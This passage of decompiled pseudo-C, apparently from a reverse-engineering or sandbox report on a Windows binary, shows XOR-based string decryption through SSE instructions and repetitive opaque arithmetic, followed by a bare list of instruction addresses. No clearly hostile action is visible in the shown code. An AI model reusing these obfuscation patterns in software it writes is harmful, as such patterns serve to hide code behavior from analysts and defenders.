							_v2220 = 0x19;
							_v2216 = 0;
							_t3339 =  *0x9d28c0; // 0x51
							_t3828 =  *0x9d28c4; // 0x0
							_t3829 = _t3828 ^ 0x00000000;
							_v2228 = E009C3280(_t3339 ^ 0x00004579, _t3829, 6, 0);
							_v2224 = _t3829;
							_v2244 = 0x4579;
							_v2240 = 0;
							asm("adc edx, eax");
							asm("adc edx, 0x0");
							_v2260 = _v2220 + _v2228 + 1;
							_v2256 = _v2216;
							asm("sbb edx, eax");
							_v2252 = _v2236 - _v2244;
							_v2248 = _v2232;
							_t3832 = _v2248;
							_v2268 = E009C3300(_v2252, _t3832, _v2260, _v2256);
							_v2264 = _t3832;
							_v4148 = _v2264;
							_v3504 = _v2268;
							_v3508 = _v3500;
							_v3512 = _v3504 * 0x18 +  *_v3508;
							E00986C20( &_v672, _v3512);
							_v16 = 7;
							E009876C0( &_v4332);
							_v874 = 0;
							_v875 = 0;
							_v876 = 0;
							_v1296 = _v874;
							_v1300 = _v875;
							_v1304 = _v876;
							_v2276 = 0x4418500f;
							_v2272 = 0x8b69331d;
							_v3644 = _v2276;
							_v3640 = _v2272;
							_v2284 = 0x89f9ef3a;
							_v2280 = 0xc7f6786c;
							_v3636 = _v2284;
							_v3632 = _v2280;
							_v1168 =  &_v3644;
							_v300 = 0x7c286135;
							_v296 = 0x8b69332d;
							_v292 = 0x89f9ef3a;
							_v288 = 0xc7f6786c;
							_v877 = 0;
							_v976 = _v877;
							asm("movaps xmm0, [ebp-0x120]");
							asm("movaps [ebp-0x16c0], xmm0");
							asm("movups xmm0, [eax]");
							asm("movaps [ebp-0x16b0], xmm0");
							asm("movaps xmm0, [ebp-0x16b0]");
							asm("pxor xmm0, [ebp-0x16c0]");
							asm("movaps [ebp-0x16f0], xmm0");
							asm("movaps xmm0, [ebp-0x16f0]");
							asm("movups [ecx], xmm0");
							_v3516 = _v1168;
							_v2292 = 0xfffea676;
							_v2288 = 0x19f09;
							_v2316 = _v2292 ^ 0x00000019;
							_v2312 = _v2288 ^ 0x00000000;
							_v2300 = 0x19;
							_v2296 = 0;
							_t3361 =  *0x9d28c0; // 0x51
							_t3844 =  *0x9d28c4; // 0x0
							_t3845 = _t3844 ^ 0x00000000;
							_v2308 = E009C3280(_t3361 ^ 0x00004579, _t3845, 6, 0);
							_v2304 = _t3845;
							_v2324 = 0x4579;
							_v2320 = 0;
							asm("adc edx, eax");
							asm("adc edx, 0x0");
							_v2340 = _v2300 + _v2308 + 1;
							_v2336 = _v2296;
							asm("sbb edx, eax");
							_v2332 = _v2316 - _v2324;
							_v2328 = _v2312;
							_t3848 = _v2328;
							_v2348 = E009C3300(_v2332, _t3848, _v2340, _v2336);
							_v2344 = _t3848;
							_t2763 = E00986810( &_v672, _v3516, 0);
							_t3967 = _v2344;
							_v2356 = _t2763;
							_v2352 = 0;
							_v2364 = _v2348;
							_v2360 = _v2344;
							_t3552 = _v2356;
							if(_v2356 != _v2364 || _v2352 != _v2360) {
								_v878 = 0;
								_v834 = 0;
								_v880 = 0;
								_v1308 = _v878;
								_v1312 = _v834;
								_v1316 = _v880;
								_v2372 = 0x7c28610f;
								_v2368 = 0x8b69332d;
								_v3724 = _v2372;
								_v3720 = _v2368;
								_v2380 = 0x89f9ef3a;
								_v2376 = 0xc7f6786c;
								_v3716 = _v2380;
								_v3712 = _v2376;
								_v1172 =  &_v3724;
								_v316 = 0x7c286135;
								_v312 = 0x8b69332d;
								_v308 = 0x89f9ef3a;
								_v304 = 0xc7f6786c;
								_v881 = 0;
								_v1320 = _v881;
								asm("movaps xmm0, [ebp-0x130]");
								asm("movaps [ebp-0x16e0], xmm0");
								asm("movups xmm0, [eax]");
								asm("movaps [ebp-0x16d0], xmm0");
								asm("movaps xmm0, [ebp-0x16d0]");
								asm("pxor xmm0, [ebp-0x16e0]");
								asm("movaps [ebp-0x1100], xmm0");
								asm("movaps xmm0, [ebp-0x1100]");
								asm("movups [ecx], xmm0");
								_v3520 = _v1172;
								_t4049 = _t4021 - 0x18;
								_v4152 = _t4049;
								_v4156 = E00971810(_t4049, _v3520);
								_v16 = 8;
								_t4050 = _t4049 - 0x18;
								_v4160 = _t4050;
								E00986C20(_t4050,  &_v672);
								_v16 = 7;
								_v3524 = E009756B0( &_v4344);
								_v3528 = _v3524;
								_v16 = 9;
								_v3532 = _v3528;
								_v2388 = 0x4560;
								_v2384 = 0;
								_v2412 = _v2388 ^ 0x00000019;
								_v2408 = _v2384 ^ 0x00000000;
								_v2396 = 0x19;
								_v2392 = 0;
								_t2777 =  *0x9d28c0; // 0x51
								_t3385 =  *0x9d28c4; // 0x0
								_v2404 = E009C3280(_t2777 ^ 0x00004579, _t3385 ^ 0x00000000, 6, 0);
								_v2400 = 0;
								_v2420 = 0x4579;
								_v2416 = 0;
								asm("adc ecx, edx");
								asm("adc ecx, 0x0");
								_v2436 = _v2396 + _v2404 + 1;
								_v2432 = _v2392;
								asm("sbb ecx, edx");
								_v2428 = _v2412 - _v2420;
								_v2424 = _v2408;
								_t3863 = _v2436;
								_v2444 = E009C3300(_v2428, _v2424, _t3863, _v2432);
								_v2440 = _t3863;
								_v4168 = _v2440;
								_v3536 = _v2444;
								_v3540 = _v3532;
								_v1464 = _v3536 * 0x18 +  *_v3540;
								_v3544 = _v1464;
								if( &_v672 != _v3544) {
									_v882 = 0;
									_push(_v882 & 0x000000ff);
									E00987B70( &_v672, _v1464);
								}
								_v16 = 7;
								E009876C0( &_v4344);
								_v552 = 0;
								_v548 = 0;
								_v544 = 0;
								_v883 = 0;
								_v884 = 0;
								_v885 = 0;
								_v1324 = _v883;
								_v1328 = _v884;
								_v1332 = _v885;
								_v2452 = 0x7c28611b;
								_v2448 = 0x8b69332d;
								_v3660 = _v2452;
								_v3656 = _v2448;
								_v2460 = 0x89f9ef3a;
								_v2456 = 0xc7f6786c;
								_v3652 = _v2460;
								_v3648 = _v2456;
								_v1176 =  &_v3660;
								_v332 = 0x7c286135;
								_v328 = 0x8b69332d;
								_v324 = 0x89f9ef3a;
								_v320 = 0xc7f6786c;
								_v886 = 0;
								_v1336 = _v886;
								asm("movaps xmm0, [ebp-0x140]");
								asm("movaps [ebp-0x1120], xmm0");
								asm("movups xmm0, [ecx]");
								asm("movaps [ebp-0x1110], xmm0");
								asm("movaps xmm0, [ebp-0x1110]");
								asm("pxor xmm0, [ebp-0x1120]");
								asm("movaps [ebp-0x1130], xmm0");
								asm("movaps xmm0, [ebp-0x1130]");
								asm("movups [edx], xmm0");
								_v3548 = _v1176;
								_t4051 = _t4050 - 0x18;
								_v4172 = _t4051;
								_v4176 = E00971810(_t4051, _v3548);
								_v16 = 0xa;
								_t4052 = _t4051 - 0x18;
								_v4184 = _t4052;
								E00986C20(_t4052,  &_v672);
								_v16 = 7;
								_v4192 = E009756B0( &_v552);
								_v16 = 0xb;
								_v1468 =  &_v552;
								_t2804 =  *((intOrPtr*)(_v1468 + 4)) -  *_v1468;
								asm("cdq");
								_t3875 = _t2804 % 0x18;
								_v3552 = _t2804 / 0x18;
								_t3967 = _v3552;
								_t3949 = 0;
								_t2806 =  *0x9d28d0; // 0x3a
								asm("cdq");
								asm("adc ecx, 0x0");
								_v3560 = _t2806 + 9;
								_t2808 =  *0x9d28d4; // 0xfc
								asm("cdq");
								asm("adc edx, 0x0");
								_v3564 = _t3875;
								_t2810 = E009C3280(_t2808 + 0x4579, _t3875, 0x4579, 0);
								asm("adc eax, 0x0");
								_v3556 = _t3875;
								_t2812 =  *0x9d28d4; // 0xfc
								asm("cdq");
								asm("adc edx, 0x0");
								_t2815 = E009C3280(_t2810 + 4, _v3556, _t2812 + 9, _t3875);
								asm("adc eax, edx");
								asm("adc eax, 0x0");
								_t2817 = E00972730(_v3560 + _t2815 + 0x4579, _v3564);
								_t4021 = _t4052 + 8;
								_v2468 = _v3552;
								_v2464 = 0;
								_v2476 = _t2817;
								_v2472 = _t3875;
								_t3552 = _v2468;
								if(_v2468 != _v2476 || _v2464 != _v2472) {
									L26:
									_v16 = 7;
									E009876C0( &_v552);
									goto L27;
								} else {
									_v887 = 0;
									_v888 = 0;
									_v889 = 0;
									_v891 = 0;
									_v892 = 0;
									_v893 = 0;
									_v895 = 0;
									_v797 = 0;
									_v798 = 0;
									_t2824 =  *0x9d28d4; // 0xfc
									asm("cdq");
									asm("adc edi, 0x0");
									_t2825 =  *0x9d28d4; // 0xfc
									asm("cdq");
									asm("adc edx, 0x0");
									_t2827 = E009C3280(_t2825 + 0x4579, 0, 0x4579, 0);
									asm("adc edx, 0x0");
									_t2829 = E009C3280(_t2827 + 2, 0, _t2824 + 9, 0);
									_t2830 =  *0x9d28d0; // 0x3a
									asm("cdq");
									asm("adc edx, 0x0");
									asm("adc edx, esi");
									asm("adc edx, 0x0");
									_v3568 = E00972730(_t2830 + 9 + _t2829 + 0x4579, 0);
									_v1488 = _v4200;
									_v1588 =  &_v552;
									_v1488 = _v3568 * 0x18 +  *_v1588;
									_v1340 = _v887;
									_v1344 = _v888;
									_v1348 = _v889;
									_v2484 = 0x7c28611b;
									_v2480 = 0x8b69332d;
									_v3628 = _v2484;
									_v3624 = _v2480;
									_v2492 = 0x89f9ef3a;
									_v2488 = 0xc7f6786c;
									_v3620 = _v2492;
									_v3616 = _v2488;
									_v1180 =  &_v3628;
									_v1196 = _v4208;
									_v348 = 0x7c286135;
									_v344 = 0x8b69332d;
									_v340 = 0x89f9ef3a;
									_v336 = 0xc7f6786c;
									_v890 = 0;
									_v1352 = _v890;
									asm("movaps xmm0, [ebp-0x150]");
									asm("movaps [ebp-0x1150], xmm0");
									asm("movups xmm0, [eax]");
									asm("movaps [ebp-0x1140], xmm0");
									asm("movaps xmm0, [ebp-0x1140]");
									asm("pxor xmm0, [ebp-0x1150]");
									asm("movaps [ebp-0x1160], xmm0");
									asm("movaps xmm0, [ebp-0x1160]");
									asm("movups [ecx], xmm0");
									_v1196 = _v1180;
									_v2500 = 0x4560;
									_v2496 = 0;
									_v2524 = _v2500 ^ 0x00000019;
									_v2520 = _v2496 ^ 0x00000000;
									_v2508 = 0x19;
									_v2504 = 0;
									_t3429 =  *0x9d28c0; // 0x51
									_t3889 =  *0x9d28c4; // 0x0
									_t3890 = _t3889 ^ 0x00000000;
									_v2516 = E009C3280(_t3429 ^ 0x00004579, _t3890, 6, 0);
									_v2512 = _t3890;
									_v2532 = 0x4579;
									_v2528 = 0;
									asm("adc edx, eax");
									asm("adc edx, 0x0");
									_v2548 = _v2508 + _v2516 + 1;
									_v2544 = _v2504;
									asm("sbb edx, eax");
									_v2540 = _v2524 - _v2532;
									_v2536 = _v2520;
									_t3893 = _v2536;
									_v2556 = E009C3300(_v2540, _t3893, _v2548, _v2544);
									_v2552 = _t3893;
									_v4216 = _v2552;
									_v1592 = _v2556;
									_v1484 = _v4224;
									_v1596 =  &_v552;
									_v1484 = _v1592 * 0x18 +  *_v1596;
									_v1356 = _v891;
									_v1360 = _v892;
									_v1364 = _v893;
									_v2564 = 0x7c28611b;
									_v2560 = 0x8b69332d;
									_v3740 = _v2564;
									_v3736 = _v2560;
									_v2572 = 0x89f9ef3a;
									_v2568 = 0xc7f6786c;
									_v3732 = _v2572;
									_v3728 = _v2568;
									_v1184 =  &_v3740;
									_v1192 = _v4232;
									_v364 = 0x7c286135;
									_v360 = 0x8b69332d;
									_v356 = 0x89f9ef3a;
									_v352 = 0xc7f6786c;
									_v894 = 0;
									_v1368 = _v894;
									asm("movaps xmm0, [ebp-0x160]");
									asm("movaps [ebp-0x1180], xmm0");
									asm("movups xmm0, [ecx]");
									asm("movaps [ebp-0x1170], xmm0");
									asm("movaps xmm0, [ebp-0x1170]");
									asm("pxor xmm0, [ebp-0x1180]");
									asm("movaps [ebp-0x1190], xmm0");
									asm("movaps xmm0, [ebp-0x1190]");
									_t3902 = _v1184;
									asm("movups [edx], xmm0");
									_v1192 = _v1184;
									_t2858 =  *0x9d28d4; // 0xfc
									asm("cdq");
									_t3949 = _v1184;
									asm("adc edi, 0x0");
									_t2859 =  *0x9d28d4; // 0xfc
									asm("cdq");
									asm("adc edx, 0x0");
									_t2861 = E009C3280(_t2859 + 0x4579, _v1184, 0x4579, 0);
									asm("adc edx, 0x0");
									_t2863 = E009C3280(_t2861 + 3, _t3902, _t2858 + 9, _t3902);
									_t2864 =  *0x9d28d0; // 0x3a
									asm("cdq");
									asm("adc edx, 0x0");
									asm("adc edx, esi");
									asm("adc edx, 0x0");
									_v1600 = E00972730(_t2864 + 9 + _t2863 + 0x4579, _t3902);
									_v1480 = _v4280;
									_v1604 =  &_v552;
									_v1480 = _v1600 * 0x18 +  *_v1604;
									_v1372 = _v895;
									_v1376 = _v797;
									_v1380 = _v798;
									_v2580 = 0x7c28611b;
									_v2576 = 0x8b69332d;
									_v3692 = _v2580;
									_v3688 = _v2576;
									_v2588 = 0x89f9ef3a;
									_v2584 = 0xc7f6786c;
									_v3684 = _v2588;
									_v3680 = _v2584;
									_v1188 =  &_v3692;
									_v1472 = _v4252;
									_v380 = 0x7c286135;
									_v376 = 0x8b69332d;
									_v372 = 0x89f9ef3a;
									_v368 = 0xc7f6786c;
									_v799 = 0;
									_v1384 = _v799;
									asm("movaps xmm0, [ebp-0x170]");
									asm("movaps [ebp-0x11b0], xmm0");
									asm("movups xmm0, [eax]");
									asm("movaps [ebp-0x11a0], xmm0");
									asm("movaps xmm0, [ebp-0x11a0]");
									asm("pxor xmm0, [ebp-0x11b0]");
									asm("movaps [ebp-0x11c0], xmm0");
									asm("movaps xmm0, [ebp-0x11c0]");
									asm("movups [ecx], xmm0");
									_v1472 = _v1188;
									_v2596 = 0x1e49a;
									_v2592 = 0;
									_v2620 = _v2596 ^ 0x00000019;
									_v2616 = _v2592 ^ 0x00000000;
									_v2604 = 0x19;
									_v2600 = 0;
									_t3456 =  *0x9d28c0; // 0x51
									_t3913 =  *0x9d28c4; // 0x0
									_t3914 = _t3913 ^ 0x00000000;
									_v2612 = E009C3280(_t3456 ^ 0x00004579, _t3914, 6, 0);
									_v2608 = _t3914;
									_v2628 = 0x4579;
									_v2624 = 0;
									asm("adc edx, eax");
									asm("adc edx, 0x0");
									_v2644 = _v2604 + _v2612 + 1;
									_v2640 = _v2600;
									asm("sbb edx, eax");
									_v2636 = _v2620 - _v2628;
									_v2632 = _v2616;
									_t3917 = _v2632;
									_t4006 = _v2640;
									_v2652 = E009C3300(_v2636, _t3917, _v2644, _v2640);
									_v2648 = _t3917;
									_v4256 = _v2648;
									_v1608 = _v2652;
									_v1476 = _v4248;
									_v1612 =  &_v552;
									_v1476 = _v1608 * 0x18 +  *_v1612;
									_v1616 = E00988D40(_t2951, _v1184, _v2640,  &_v5932, _v1476, _v1472);
									_v1620 = _v1616;
									_v16 = 0xc;
									_v1624 = _v1620;
									_t2889 = E00988E70(_t2951, _v1184, _v2640,  &_v5908, _v1624, _v1480);
									_t4056 = _t4021 + 0x28;
									_v1628 = _t2889;
									_v1632 = _v1628;
									_v16 = 0xd;
									_v1652 = _v1632;
									_v904 = _v1192;
									_v1636 = _v904 + 1;
									do {
										_v800 =  *_v904;
										_v904 = _v904 + 1;
									} while (_v800 != 0);
									_v1640 = _v904 - _v1636;
									_v1644 = _v1640;
									_v1648 = _v1644;
									_v1656 = E00987AE0(_t2951, _v1652, _t3949, _t4006, _v1192, _v1648);
									_v1660 = _v1656;
									E00971790( &_v5724, _v1660);
									_v796 = _v796 | 0x00000008;
									_v1664 =  &_v5724;
									_v16 = 0xe;
									_v1668 = _v1664;
									_t2901 = E00988E70(_t2951, _t3949, _t4006,  &_v5956, _v1668, _v1484);
									_t4057 = _t4056 + 0xc;
									_v1672 = _t2901;
									_v1676 = _v1672;
									_v16 = 0xf;
									_v1696 = _v1676;
									_v920 = _v1196;
									_v1680 = _v920 + 1;
									do {
										_v801 =  *_v920;
										_v920 = _v920 + 1;
									} while (_v801 != 0);
									_v1684 = _v920 - _v1680;
									_v1688 = _v1684;
									_v1692 = _v1688;
									_v1700 = E00987AE0(_t2951, _v1696, _t3949, _t4006, _v1196, _v1692);
									_v1704 = _v1700;
									E00971790( &_v5700, _v1704);
									_v796 = _v796 | 0x00000020;
									_v1708 =  &_v5700;
									_v16 = 0x10;
									_v1712 = _v1708;
									E00988E70(_t2951, _t3949, _t4006,  &_v720, _v1712, _v1488);
									_t4021 = _t4057 + 0xc;
									_v16 = 0x12;
									E00971AB0( &_v5700);
									_v16 = 0x13;
									E00971AB0( &_v5956);
									_v16 = 0x14;
									E00971AB0( &_v5724);
									_v16 = 0x15;
									E00971AB0( &_v5908);
									_v16 = 0x16;
									E00971AB0( &_v5932);
									_v1716 = _v704;
									_v2660 = 0xb9ea6;
									_v2656 = 0;
									_v2684 = _v2660 ^ 0x00000019;
									_v2680 = _v2656 ^ 0x00000000;
									_v2668 = 0x19;
									_v2664 = 0;
									_t3496 =  *0x9d28c0; // 0x51
									_t3940 =  *0x9d28c4; // 0x0
									_t3941 = _t3940 ^ 0x00000000;
									_v2676 = E009C3280(_t3496 ^ 0x00004579, _t3941, 6, 0);
									_v2672 = _t3941;
									_v2692 = 0x4579;
									_v2688 = 0;
									asm("adc edx, eax");
									asm("adc edx, 0x0");
									_v2708 = _v2668 + _v2676 + 1;
									_v2704 = _v2664;
									asm("sbb edx, eax");
									_v2700 = _v2684 - _v2692;
									_v2696 = _v2680;
									_t3944 = _v2696;
									_v2716 = E009C3300(_v2700, _t3944, _v2708, _v2704);
									_v2712 = _t3944;
									_t3552 = 0;
									_t3967 = _v2712;
									_v2724 = _v1716;
									_v2720 = 0;
									_v2732 = _v2716;
									_v2728 = _v2712;
									_t4075 = _v2720 - _v2728;
									if(_t4075 < 0) {
										L25:
										_v16 = 0xb;
										E00971AB0( &_v720);
										goto L26;
									} else {
										if(_t4075 > 0) {
											L21:
											_v1720 = _v704;
											_t3967 = _v1720;
											_t3949 = 0;
											_t2927 =  *0x9d28d0; // 0x3a
											asm("cdq");
											asm("adc ecx, 0x0");
											_v1728 = _t2927 + 9;
											_t2929 =  *0x9d28d4; // 0xfc
											asm("cdq");
											asm("adc edx, 0x0");
											_v1732 = _t3552;
											_t2931 = E009C3280(_t2929 + 0x4579, _t3552, 0x4579, 0);
											asm("adc eax, 0x0");
											_v1724 = _t3552;
											_t2933 =  *0x9d28d4; // 0xfc
											asm("cdq");
											asm("adc edx, 0x0");
											_t2936 = E009C3280(_t2931 + 0x50, _v1724, _t2933 + 9, _t3552);
											asm("adc eax, edx");
											asm("adc eax, 0x0");
											_t2938 = E00972730(_v1728 + _t2936 + 0x4579, _v1732);
											_t4021 = _t4021 + 8;
											_v2740 = _v1720;
											_v2736 = 0;
											_v2748 = _t2938;
											_v2744 = _t3552;
											_t3552 = _v2736;
											_t4077 = _v2736 - _v2744;
											if(_t4077 > 0 || _t4077 >= 0 && _v2740 >= _v2748) {
												goto L25;
											} else {
												E00971790( *((intOrPtr*)(_t2951 + 8)),  &_v720);
												_t3653 = _v796 | 0x00000001;
												_v796 = _v796 | 0x00000001;
												_v16 = 0xb;
												E00971AB0( &_v720);
												_v16 = 7;
												E009876C0( &_v552);
												_v16 = 0;
												E00971AB0( &_v672);
												_v16 = 0xffffffff;
												E00971AB0( &_v576);
												_t2437 =  *((intOrPtr*)(_t2951 + 8));
											}
										} else {
											_t3552 = _v2724;
											if(_t3552 < _v2732) {
												goto L25;
											} else {
												goto L21;
											}
										}
									}
								}
							} else {
								L27:
								_v16 = 0;
								E00971AB0( &_v672);
								goto L28;
							}
						} else {
							goto L28;
						}
					}
				}
				 *[fs:0x0] = _v24;
				_pop(_t3956);
				_pop(_t3982);
				return E009AC2E8(_t2437, _t2951, _v32 ^ _t4010, _t3653, _t3956, _t3982);
			}

0x009764d0
0x009764d0
0x009764d1
0x009764d9
0x009764e0
0x009764e4
0x009764e6
0x009764e8
0x009764f3
0x009764f4
0x009764fa
0x009764ff
0x00976504
0x00976506
0x00976509
0x0097650a
0x0097650b
0x0097650f
0x00976515
0x0097652a
0x0097652f
0x00976536
0x0097653b
0x00976540
0x00976543
0x00976549
0x0097654d
0x00976554
0x0097657f
0x00976556
0x00976564
0x00976569
0x00976577
0x00976577
0x0097658f
0x00976595
0x0097659f
0x009765a7
0x009765af
0x009765b7
0x009765bd
0x009765c2
0x009765ca
0x009765cd
0x009765d2
0x009765d8
0x009765e4
0x009765f0
0x009765f3
0x009765f9
0x009765fe
0x00976602
0x0097660f
0x00976616
0x0097661e
0x0097662b
0x00976638
0x0097663f
0x00976650
0x00976657
0x00976659
0x00976665
0x0097666b
0x0097667f
0x00976689
0x0097668e
0x00976693
0x009766a6
0x009766ac
0x009766ae
0x009766b3
0x009766c3
0x009766c9
0x009766cd
0x009766d2
0x009766e2
0x009766e8
0x009766f2
0x009766f9
0x00976705
0x00976711
0x0097671c
0x00976726
0x00976738
0x0097673e
0x00976749
0x00976753
0x00976765
0x0097676b
0x00976776
0x00976780
0x00976792
0x00976798
0x009767a3
0x009767ad
0x009767bf
0x009767c5
0x009767d0
0x009767da
0x009767ec
0x009767f2
0x009767fd
0x00976807
0x00976819
0x0097681f
0x0097682b
0x00976836
0x0097683d
0x00976845
0x0097684c
0x00976854
0x0097685b
0x00976863
0x0097686a
0x00976872
0x00976879
0x00976881
0x00976888
0x0097688d
0x00976899
0x0097689f
0x009768a3
0x009768b0
0x009768b3
0x009768ba
0x009768c1
0x009768c9
0x009768d0
0x009768dd
0x009768e9
0x009768ef
0x009768f3
0x00976900
0x00976903
0x0097690a
0x00976911
0x00976919
0x00976920
0x0097692d
0x00976939
0x0097693f
0x00976943
0x00976950
0x00976953
0x0097695a
0x00976961
0x00976969
0x00976970
0x0097697d
0x00976986
0x0097698c
0x00976991
0x0097699e
0x009769a9
0x009769b0
0x009769b1
0x009769bb
0x009769c0
0x009769cc
0x009769d4
0x009769de
0x009769f6
0x009769fc
0x00976a04
0x00976a0e
0x00976a14
0x00976a20
0x00976a26
0x00976a34
0x00976a3a
0x00976a42
0x00976a4c
0x00976a6a
0x00976a6f
0x00976a72
0x00976a78
0x00976a96
0x00976a98
0x00976a9e
0x00976aaa
0x00976ac5
0x00976acb
0x00976ad7
0x00976ade
0x00976ae4
0x00976aea
0x00976af0
0x00976af6
0x00976afc
0x00976b08
0x00978540
0x0097854b
0x00978550
0x00978554
0x00978559
0x0097855e
0x00978561
0x00978567
0x0097856b
0x00978572
0x0097859d
0x00978574
0x00978582
0x00978587
0x00978595
0x00978595
0x009785ad
0x009785b3
0x009785bd
0x009785c5
0x009785cd
0x009785d5
0x009785db
0x009785dd
0x009785e2
0x009785f2
0x009785f8
0x009785fc
0x00978601
0x00978611
0x00978617
0x00978621
0x00978628
0x00978634
0x00978640
0x0097864b
0x00978655
0x00978667
0x0097866d
0x00978678
0x00978682
0x00978694
0x0097869a
0x009786a5
0x009786af
0x009786c1
0x009786c7
0x009786d2
0x009786dc
0x009786ee
0x009786f4
0x009786ff
0x00978709
0x0097871b
0x00978721
0x0097872c
0x00978736
0x00978748
0x0097874e
0x0097875a
0x00978765
0x0097876f
0x0097877a
0x00978784
0x0097878f
0x00978799
0x009787a4
0x009787ae
0x009787b9
0x009787c3
0x009787ce
0x009787d8
0x009787e0
0x009787ec
0x009787f2
0x009787f9
0x00978806
0x00978809
0x00978810
0x00978817
0x0097881f
0x00978826
0x00978833
0x0097883f
0x00978845
0x0097884c
0x00978859
0x0097885c
0x00978863
0x0097886a
0x00978872
0x00978879
0x00978886
0x00978892
0x00978898
0x0097889f
0x009788ac
0x009788af
0x009788b6
0x009788bd
0x009788c5
0x009788cc
0x009788d9
0x009788e2
0x009788e8
0x009788ed
0x009788fa
0x009788ff
0x00978901
0x00978903
0x00978912
0x0097891e
0x00978926
0x0097892e
0x00978936
0x00978942
0x0097894e
0x0097895a
0x00978965
0x0097896f
0x00978981
0x00978987
0x00978992
0x0097899c
0x009789ae
0x009789b4
0x009789c0
0x009789cb
0x009789d5
0x009789e0
0x009789ea
0x009789f2
0x009789fe
0x00978a04
0x00978a0b
0x00978a18
0x00978a1b
0x00978a22
0x00978a29
0x00978a31
0x00978a38
0x00978a45
0x00978a4e
0x00978a56
0x00978a60
0x00978a78
0x00978a7e
0x00978a86
0x00978a90
0x00978a96
0x00978aa2
0x00978aa8
0x00978ab6
0x00978abc
0x00978ac4
0x00978ace
0x00978aec
0x00978af1
0x00978af4
0x00978afa
0x00978b18
0x00978b1a
0x00978b20
0x00978b2c
0x00978b47
0x00978b4d
0x00978b62
0x00978b6f
0x00978b75
0x00978b7b
0x00978b81
0x00978b87
0x00978b8d
0x00978b93
0x00978b99
0x00978faa
0x00978fb5
0x00978fba
0x00978fbe
0x00978fc3
0x00978fc8
0x00978fcb
0x00978fd1
0x00978fd5
0x00978fdc
0x00979007
0x00978fde
0x00978fec
0x00978ff1
0x00978fff
0x00978fff
0x00979017
0x0097901d
0x00979027
0x0097902f
0x00979037
0x0097903f
0x00979045
0x00979047
0x0097904c
0x0097905c
0x00979062
0x00979066
0x0097906b
0x0097907b
0x00979081
0x0097908b
0x00979092
0x0097909e
0x009790aa
0x009790b5
0x009790bf
0x009790d1
0x009790d7
0x009790e2
0x009790ec
0x009790fe
0x00979104
0x0097910f
0x00979119
0x0097912b
0x00979131
0x0097913c
0x00979146
0x00979158
0x0097915e
0x0097916a
0x00979175
0x0097917f
0x0097918a
0x00979194
0x0097919f
0x009791a9
0x009791b4
0x009791be
0x009791c6
0x009791d2
0x009791d8
0x009791df
0x009791ec
0x009791ef
0x009791f6
0x009791fd
0x00979205
0x0097920c
0x00979219
0x00979225
0x0097922b
0x00979232
0x0097923f
0x00979242
0x00979249
0x00979250
0x00979258
0x0097925f
0x0097926c
0x00979275
0x0097927b
0x00979280
0x00979286
0x0097928d
0x00979292
0x00979294
0x00979296
0x009792a5
0x009792b1
0x009792b7
0x009792c1
0x00979655
0x00979660
0x00979665
0x00979669
0x0097966e
0x00979673
0x00979676
0x0097967c
0x00979680
0x00979687
0x009796b2
0x00979689
0x00979697
0x0097969c
0x009796aa
0x009796aa
0x009796c2
0x009796c8
0x009796d2
0x009796da
0x009796e2
0x009796ea
0x009796f0
0x009796f5
0x009796fd
0x00979700
0x00979705
0x0097970b
0x00979717
0x00979723
0x00979726
0x0097972c
0x00979731
0x00979735
0x00979742
0x00979749
0x00979751
0x0097975e
0x0097976b
0x00979772
0x00979783
0x0097978c
0x00979798
0x0097979e
0x009797b2
0x009797bc
0x009797c1
0x009797c6
0x009797d9
0x009797df
0x009797e1
0x009797e6
0x009797f6
0x009797fc
0x00979800
0x00979805
0x00979815
0x0097981b
0x00979825
0x0097982c
0x00979838
0x00979844
0x0097984f
0x00979859
0x0097986b
0x00979871
0x0097987c
0x00979886
0x00979898
0x0097989e
0x009798a9
0x009798b3
0x009798c5
0x009798cb
0x009798d6
0x009798e0
0x009798f2
0x009798f8
0x00979903
0x0097990d
0x0097991f
0x00979925
0x00979930
0x0097993a
0x0097994c
0x00979952
0x0097995e
0x00979969
0x00979970
0x00979978
0x0097997f
0x00979987
0x0097998e
0x00979996
0x0097999d
0x009799a5
0x009799ac
0x009799b4
0x009799bb
0x009799c0
0x009799cc
0x009799d2
0x009799d6
0x009799e3
0x009799e6
0x009799ed
0x009799f4
0x009799fc
0x00979a03
0x00979a10
0x00979a1c
0x00979a22
0x00979a26
0x00979a33
0x00979a36
0x00979a3d
0x00979a44
0x00979a4c
0x00979a53
0x00979a60
0x00979a6c
0x00979a72
0x00979a76
0x00979a83
0x00979a86
0x00979a8d
0x00979a94
0x00979a9c
0x00979aa3
0x00979ab0
0x00979ab9
0x00979abf
0x00979ac4
0x00979ad1
0x00979adc
0x00979ae3
0x00979ae4
0x00979af3
0x00979af9
0x00979aff
0x00979b0b
0x00979b17
0x00979b23
0x00979b24
0x00979b26
0x00979b28
0x00979b2e
0x00979b34
0x00979b50
0x00979b5c
0x00979b66
0x00979b6d
0x00979b74
0x00979b7a
0x00979b8b
0x00979b9e
0x00979ba6
0x00979bb1
0x00979bb6
0x00979bb9
0x00979bbf
0x00979bc5
0x00979bcb
0x00979bd7
0x00979bdd
0x0097a51e
0x0097a529
0x0097a52e
0x0097a532
0x0097a537
0x0097a53c
0x0097a53f
0x0097a545
0x0097a549
0x0097a550
0x0097a57b
0x0097a552
0x0097a560
0x0097a565
0x0097a573
0x0097a573
0x0097a58b
0x0097a591
0x0097a59b
0x0097a5a3
0x0097a5ab
0x0097a5b3
0x0097a5b9
0x0097a5be
0x0097a5c6
0x0097a5c9
0x0097a5ce
0x0097a5d4
0x0097a5e0
0x0097a5ec
0x0097a5ef
0x0097a5f5
0x0097a5fa
0x0097a5fe
0x0097a60b
0x0097a612
0x0097a61a
0x0097a627
0x0097a634
0x0097a63b
0x0097a64c
0x0097a655
0x0097a661
0x0097a667
0x0097a67b
0x0097a685
0x0097a68a
0x0097a68f
0x0097a6a2
0x0097a6a8
0x0097a6aa
0x0097a6af
0x0097a6bf
0x0097a6c5
0x0097a6c9
0x0097a6ce
0x0097a6de
0x0097a6e4
0x0097a6ee
0x0097a6f5
0x0097a701
0x0097a70d
0x0097a718
0x0097a722
0x0097a734
0x0097a73a
0x0097a745
0x0097a74f
0x0097a761
0x0097a767
0x0097a772
0x0097a77c
0x0097a78e
0x0097a794
0x0097a79f
0x0097a7a9
0x0097a7bb
0x0097a7c1
0x0097a7cc
0x0097a7d6
0x0097a7e8
0x0097a7ee
0x0097a7f9
0x0097a803
0x0097a815
0x0097a81b
0x0097a827
0x0097a832
0x0097a83c
0x0097a847
0x0097a851
0x0097a85c
0x0097a866
0x0097a871
0x0097a87b
0x0097a886
0x0097a890
0x0097a89b
0x0097a8a5
0x0097a8ad
0x0097a8b9
0x0097a8bf
0x0097a8c6
0x0097a8d3
